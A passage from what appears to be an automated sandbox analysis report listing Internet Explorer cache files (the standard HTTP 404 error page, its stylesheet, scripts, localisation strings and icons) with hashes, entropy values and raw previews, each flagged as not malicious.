..........s.5...n+.0..;...H#.2..#.M..m[^3x&E.Ya..\K..{[..M..g...yf0..~....M.]7..ZZZ:..a.O.G64]....9..l[..a....N,,.h......5...f.y...}...BX{.G^...?.c.......s^..P.(..G...t.0.:.X.DCs.....]vf...py).........x..>-..Be.a...G...Y!...z...g.{....d.s.o.....%.x......R.W.....Z.b,....!..6Ub....U.qY(/v..m.a...4.`Qr\.E.G..a)..t..e.j.W........C<.1.....c..l1w....]3%....tR;.,..3..-.NW.5...t..H..h..D..b......M....)B..2J...)..o..m..M.t....wn./....+Wv....xkg....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\info_48[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 47 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4113
Entropy (8bit):	7.9370830126943375
Encrypted:	false
SSDEEP:	96:WNTJL8szf79M8FUjE39KJoUUuJPnvmKacs6Uq7qDMj1XPL:WNrzFoQSJPnvzs6rL
MD5:	5565250FCC163AA3A79F0B746416CE69
SHA1:	B97CC66471FCDEE07D0EE36C7FB03F342C231F8F
SHA-256:	51129C6C98A82EA491F89857C31146ECEC14C4AF184517450A7A20C699C84859
SHA-512:	E60EA153B0FECE4D311769391D3B763B14B9A140105A36A13DAD23C2906735EAAB9092236DEB8C68EF078E8864D6E288BEF7EF1731C1E9F1AD9B0170B95AC134
Malicious:	false
IE Cache URL:	res://ieframe.dll/info_48.png
Preview:	.PNG........IHDR.../...0.......#.....IDATx^...pUU..{....KB........!....F......jp.Q.......Vg.F..m.Q....{...,m.@.56D...&$d!.<..}....s..K9.....{............[./<..T..I.I..JR)).9.k.N.%.E.W^}....Po..............X..;.=.P......./...+...9./..s.....9..\|........7v.`..V.....-^.$S[[[......K..z......3..3....5 ...0.."/n/.c...&.{.ht..?....A..I{.n.....\|....t......N}..%.v...:.E..i....`....a.k.mg.LX..fcFU.fO-..YEfd.}...~."......}l$....^.re..'^X..}.?.^U.G..... .30...X......f[.l0.P`..KC...[..[..6....~..i..Q.\|;x..T ..........s.5...n+.0..;...H#.2..#.M..m[^3x&E.Ya..\K..{[..M..g...yf0..~....M.]7..ZZZ:..a.O.G64]....9..l[..a....N,,.h......5...f.y...}...BX{.G^...?.c.......s^..P.(..G...t.0.:.X.DCs.....]vf...py).........x..>-..Be.a...G...Y!...z...g.{....d.s.o.....%.x......R.W.....Z.b,....!..6Ub....U.qY(/v..m.a...4.`Qr\.E.G..a)..t..e.j.W........C<.1.....c..l1w....]3%....tR;.,..3..-.NW.5...t..H..h..D..b......M....)B..2J...)..o..m..M.t....wn./....+Wv....xkg....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\ErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	5.207912016937144
Encrypted:	false
SSDEEP:	24:5+j5xU5k5N0ndgvoyeP0yyiyQCDr3nowMVworDtX3orKxWxDnCMA0da+hieyuSQK:5Q5K5k5pvFehWrrarrZIrHd3FIQfOS6
MD5:	F4FE1CB77E758E1BA56B8A8EC20417C5
SHA1:	F4EDA06901EDB98633A686B11D02F4925F827BF0
SHA-256:	8D018639281B33DA8EB3CE0B21D11E1D414E59024C3689F92BE8904EB5779B5F
SHA-512:	62514AB345B6648C5442200A8E9530DFB88A0355E262069E0A694289C39A4A1C06C6143E5961074BFAC219949102A416C09733F24E8468984B96843DC222B436
Malicious:	false
Preview:	.body..{...font-family: "Segoe UI", "verdana", "arial";...background-image: url(background_gradient.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;...color: #575757;..}....body.securityError..{...font-family: "Segoe UI", "verdana" , "Arial";...background-image: url(background_gradient_red.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;..}....body.tabInfo..{...background-image: none;...background-color: #F4F4F4;..}.. ..a..{...color: rgb(19,112,171);.font-size: 1em;...font-weight: normal;...text-decoration: none;...margin-left: 0px;...vertical-align: top;..}....a:link, a:visited..{...color: rgb(19,112,171);...text-decoration: none;...vertical-align: top;..}....a:hover..{...color: rgb(7,74,229);...text-decoration: underline;..}....p..{...font-size: 0.9em;..}.....h1 /* used for Title */..{...color: #4465A2;...font-size: 1.1em;...font-weight: normal;...vertical-align

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\background_gradient[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 1x800, frames 3
Category:	dropped
Size (bytes):	453
Entropy (8bit):	5.019973044227213
Encrypted:	false
SSDEEP:	6:3llVuiPjlXJYhg5suRd8PImMo23C/kHrJ8yA/NIeYoWg78C/vTFvbKLAh3:V/XPYhiPRd8j7+9LoIrobtHTdbKi
MD5:	20F0110ED5E4E0D5384A496E4880139B
SHA1:	51F5FC61D8BF19100DF0F8AADAA57FCD9C086255
SHA-256:	1471693BE91E53C2640FE7BAEECBC624530B088444222D93F2815DFCE1865D5B
SHA-512:	5F52C117E346111D99D3B642926139178A80B9EC03147C00E27F07AAB47FE38E9319FE983444F3E0E36DEF1E86DD7C56C25E44B14EFDC3F13B45EDEDA064DB5A
Malicious:	false
Preview:	......JFIF.....d.d......Ducky.......P......Adobe.d................................................................................................................................................. ...............W..............................................................Qa.................................?......%.....x......s...Z.......j.T.wz.6...X.@... V.3tM...P@.u.%...m..D.25...T...F.........p......A..........BP..qD.(.........ntH.@......h?..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\bullet[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.304718288205936
Encrypted:	false
SSDEEP:	12:6v/71Cyt/JNTWxGdr+kZDWO7+4dKIv0b1GKuxu+R:/yBJNTqsSk9BTwE05su+R
MD5:	26F971D87CA00E23BD2D064524AEF838
SHA1:	7440BEFF2F4F8FABC9315608A13BF26CABAD27D9
SHA-256:	1D8E5FD3C1FD384C0A7507E7283C7FE8F65015E521B84569132A7EABEDC9D41D
SHA-512:	C62EB51BE301BB96C80539D66A73CD17CA2021D5D816233853A37DB72E04050271E581CC99652F3D8469B390003CA6C62DAD2A9D57164C620B7777AE99AA1B15
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE...(EkFRp&@e&@e)Af)AgANjBNjDNjDNj2Vv-Xz-Y{3XyC\}E_.2j.3l.8p.7q.;j.;l.Zj.\l.5o.7q.<..aw.<..dz.E...........1..@.7..~.....9..:.....A..B..E..9..:..a..c..b..g.#M.%O.#r.#s.%y.2..4..+..-..?..@..;..p..s...G..H..M.........z`....#tRNS................................../,....mIDATx^..C..`.......S....y'...05...\|..k.X......*`.F.K....JQ..u.<.}.. ..[U..m....'r%.......yn.`.7F..).5..b..rX.T.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
IE Cache URL:	res://ieframe.dll/httpErrorPagesScripts.js
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\http_404[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	6495
Entropy (8bit):	3.8998802417135856
Encrypted:	false
SSDEEP:	48:up4d0yV4VkBXvLutC5N9J/1a5TI7kZ3GUXn3GFa7K083GJehBu01kptk7KwyBwpM:uKp6yN9JaKktZX36a7x05hwW7RM
MD5:	F65C729DC2D457B7A1093813F1253192
SHA1:	5006C9B50108CF582BE308411B157574E5A893FC
SHA-256:	B82BFB6FA37FD5D56AC7C00536F150C0F244C81F1FC2D4FEFBBDC5E175C71B4F
SHA-512:	717AFF18F105F342103D36270D642CC17BD9921FF0DBC87E3E3C2D897F490F4ECFAB29CF998D6D99C4951C3EABB356FE759C3483A33704CE9FCC1F546EBCBBC7
Malicious:	false
Preview:	.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">....<html dir="ltr">.... <head>.. <link rel="stylesheet" type="text/css" href="ErrorPageTemplate.css">.... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.... <title>HTTP 404 Not Found</title>.... <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="javascript:initHomepage(); expandCollapse('infoBlockID', true); initGoBack(); initMoreInfo('infoBlockID');">.... <table width="730" cellpadding="0" cellspacing="0" border="0">.... Error title -->.. <tr>.. <td id="infoIconAlign" width="60" align="left" valign="top" rowspan="2">.. <img src="info_48.png" id="infoIcon" alt="Info icon">..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\info_48[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 47 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4113
Entropy (8bit):	7.9370830126943375
Encrypted:	false
SSDEEP:	96:WNTJL8szf79M8FUjE39KJoUUuJPnvmKacs6Uq7qDMj1XPL:WNrzFoQSJPnvzs6rL
MD5:	5565250FCC163AA3A79F0B746416CE69
SHA1:	B97CC66471FCDEE07D0EE36C7FB03F342C231F8F
SHA-256:	51129C6C98A82EA491F89857C31146ECEC14C4AF184517450A7A20C699C84859
SHA-512:	E60EA153B0FECE4D311769391D3B763B14B9A140105A36A13DAD23C2906735EAAB9092236DEB8C68EF078E8864D6E288BEF7EF1731C1E9F1AD9B0170B95AC134
Malicious:	false
Preview:	.PNG........IHDR.../...0.......#.....IDATx^...pUU..{....KB........!....F......jp.Q.......Vg.F..m.Q....{...,m.@.56D...&$d!.<..}....s..K9.....{............[./<..T..I.I..JR)).9.k.N.%.E.W^}....Po..............X..;.=.P......./...+...9./..s.....9..\|........7v.`..V.....-^.$S[[[......K..z......3..3....5 ...0.."/n/.c...&.{.ht..?....A..I{.n.....\|....t......N}..%.v...:.E..i....`....a.k.mg.LX..fcFU.fO-..YEfd.}...~."......}l$....^.re..'^X..}.?.^U.G..... .30...X......f[.l0.P`..KC...[..[..6....~..i..Q.\|;x..T ..........s.5...n+.0..;...H#.2..#.M..m[^3x&E.Ya..\K..{[..M..g...yf0..~....M.]7..ZZZ:..a.O.G64]....9..l[..a....N,,.h......5...f.y...}...BX{.G^...?.c.......s^..P.(..G...t.0.:.X.DCs.....]vf...py).........x..>-..Be.a...G...Y!...z...g.{....d.s.o.....%.x......R.W.....Z.b,....!..6Ub....U.qY(/v..m.a...4.`Qr\.E.G..a)..t..e.j.W........C<.1.....c..l1w....]3%....tR;.,..3..-.NW.5...t..H..h..D..b......M....)B..2J...)..o..m..M.t....wn./....+Wv....xkg....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\ErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2168
Entropy (8bit):	5.207912016937144
Encrypted:	false
SSDEEP:	24:5+j5xU5k5N0ndgvoyeP0yyiyQCDr3nowMVworDtX3orKxWxDnCMA0da+hieyuSQK:5Q5K5k5pvFehWrrarrZIrHd3FIQfOS6
MD5:	F4FE1CB77E758E1BA56B8A8EC20417C5
SHA1:	F4EDA06901EDB98633A686B11D02F4925F827BF0
SHA-256:	8D018639281B33DA8EB3CE0B21D11E1D414E59024C3689F92BE8904EB5779B5F
SHA-512:	62514AB345B6648C5442200A8E9530DFB88A0355E262069E0A694289C39A4A1C06C6143E5961074BFAC219949102A416C09733F24E8468984B96843DC222B436
Malicious:	false
IE Cache URL:	res://ieframe.dll/ErrorPageTemplate.css
Preview:	.body..{...font-family: "Segoe UI", "verdana", "arial";...background-image: url(background_gradient.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;...color: #575757;..}....body.securityError..{...font-family: "Segoe UI", "verdana" , "Arial";...background-image: url(background_gradient_red.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;..}....body.tabInfo..{...background-image: none;...background-color: #F4F4F4;..}.. ..a..{...color: rgb(19,112,171);.font-size: 1em;...font-weight: normal;...text-decoration: none;...margin-left: 0px;...vertical-align: top;..}....a:link, a:visited..{...color: rgb(19,112,171);...text-decoration: none;...vertical-align: top;..}....a:hover..{...color: rgb(7,74,229);...text-decoration: underline;..}....p..{...font-size: 0.9em;..}.....h1 /* used for Title */..{...color: #4465A2;...font-size: 1.1em;...font-weight: normal;...vertical-align

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\background_gradient[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 1x800, frames 3
Category:	dropped
Size (bytes):	453
Entropy (8bit):	5.019973044227213
Encrypted:	false
SSDEEP:	6:3llVuiPjlXJYhg5suRd8PImMo23C/kHrJ8yA/NIeYoWg78C/vTFvbKLAh3:V/XPYhiPRd8j7+9LoIrobtHTdbKi
MD5:	20F0110ED5E4E0D5384A496E4880139B
SHA1:	51F5FC61D8BF19100DF0F8AADAA57FCD9C086255
SHA-256:	1471693BE91E53C2640FE7BAEECBC624530B088444222D93F2815DFCE1865D5B
SHA-512:	5F52C117E346111D99D3B642926139178A80B9EC03147C00E27F07AAB47FE38E9319FE983444F3E0E36DEF1E86DD7C56C25E44B14EFDC3F13B45EDEDA064DB5A
Malicious:	false
Preview:	......JFIF.....d.d......Ducky.......P......Adobe.d................................................................................................................................................. ...............W..............................................................Qa.................................?......%.....x......s...Z.......j.T.wz.6...X.@... V.3tM...P@.u.%...m..D.25...T...F.........p......A..........BP..qD.(.........ntH.@......h?..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\bullet[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.304718288205936
Encrypted:	false
SSDEEP:	12:6v/71Cyt/JNTWxGdr+kZDWO7+4dKIv0b1GKuxu+R:/yBJNTqsSk9BTwE05su+R
MD5:	26F971D87CA00E23BD2D064524AEF838
SHA1:	7440BEFF2F4F8FABC9315608A13BF26CABAD27D9
SHA-256:	1D8E5FD3C1FD384C0A7507E7283C7FE8F65015E521B84569132A7EABEDC9D41D
SHA-512:	C62EB51BE301BB96C80539D66A73CD17CA2021D5D816233853A37DB72E04050271E581CC99652F3D8469B390003CA6C62DAD2A9D57164C620B7777AE99AA1B15
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE...(EkFRp&@e&@e)Af)AgANjBNjDNjDNj2Vv-Xz-Y{3XyC\}E_.2j.3l.8p.7q.;j.;l.Zj.\l.5o.7q.<..aw.<..dz.E...........1..@.7..~.....9..:.....A..B..E..9..:..a..c..b..g.#M.%O.#r.#s.%y.2..4..+..-..?..@..;..p..s...G..H..M.........z`....#tRNS................................../,....mIDATx^..C..`.......S....y'...05...\|..k.X......*`.F.K....JQ..u.<.}.. ..[U..m....'r%.......yn.`.7F..).5..b..rX.T.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
IE Cache URL:	res://ieframe.dll/down.png
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\http_404[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	6495
Entropy (8bit):	3.8998802417135856
Encrypted:	false
SSDEEP:	48:up4d0yV4VkBXvLutC5N9J/1a5TI7kZ3GUXn3GFa7K083GJehBu01kptk7KwyBwpM:uKp6yN9JaKktZX36a7x05hwW7RM
MD5:	F65C729DC2D457B7A1093813F1253192
SHA1:	5006C9B50108CF582BE308411B157574E5A893FC
SHA-256:	B82BFB6FA37FD5D56AC7C00536F150C0F244C81F1FC2D4FEFBBDC5E175C71B4F
SHA-512:	717AFF18F105F342103D36270D642CC17BD9921FF0DBC87E3E3C2D897F490F4ECFAB29CF998D6D99C4951C3EABB356FE759C3483A33704CE9FCC1F546EBCBBC7
Malicious:	false
Preview:	.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">....<html dir="ltr">.... <head>.. <link rel="stylesheet" type="text/css" href="ErrorPageTemplate.css">.... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.... <title>HTTP 404 Not Found</title>.... <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="javascript:initHomepage(); expandCollapse('infoBlockID', true); initGoBack(); initMoreInfo('infoBlockID');">.... <table width="730" cellpadding="0" cellspacing="0" border="0">.... Error title -->.. <tr>.. <td id="infoIconAlign" width="60" align="left" valign="top" rowspan="2">.. <img src="info_48.png" id="infoIcon" alt="Info icon">..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\info_48[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 47 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4113
Entropy (8bit):	7.9370830126943375
Encrypted:	false
SSDEEP:	96:WNTJL8szf79M8FUjE39KJoUUuJPnvmKacs6Uq7qDMj1XPL:WNrzFoQSJPnvzs6rL
MD5:	5565250FCC163AA3A79F0B746416CE69
SHA1:	B97CC66471FCDEE07D0EE36C7FB03F342C231F8F
SHA-256:	51129C6C98A82EA491F89857C31146ECEC14C4AF184517450A7A20C699C84859
SHA-512:	E60EA153B0FECE4D311769391D3B763B14B9A140105A36A13DAD23C2906735EAAB9092236DEB8C68EF078E8864D6E288BEF7EF1731C1E9F1AD9B0170B95AC134
Malicious:	false
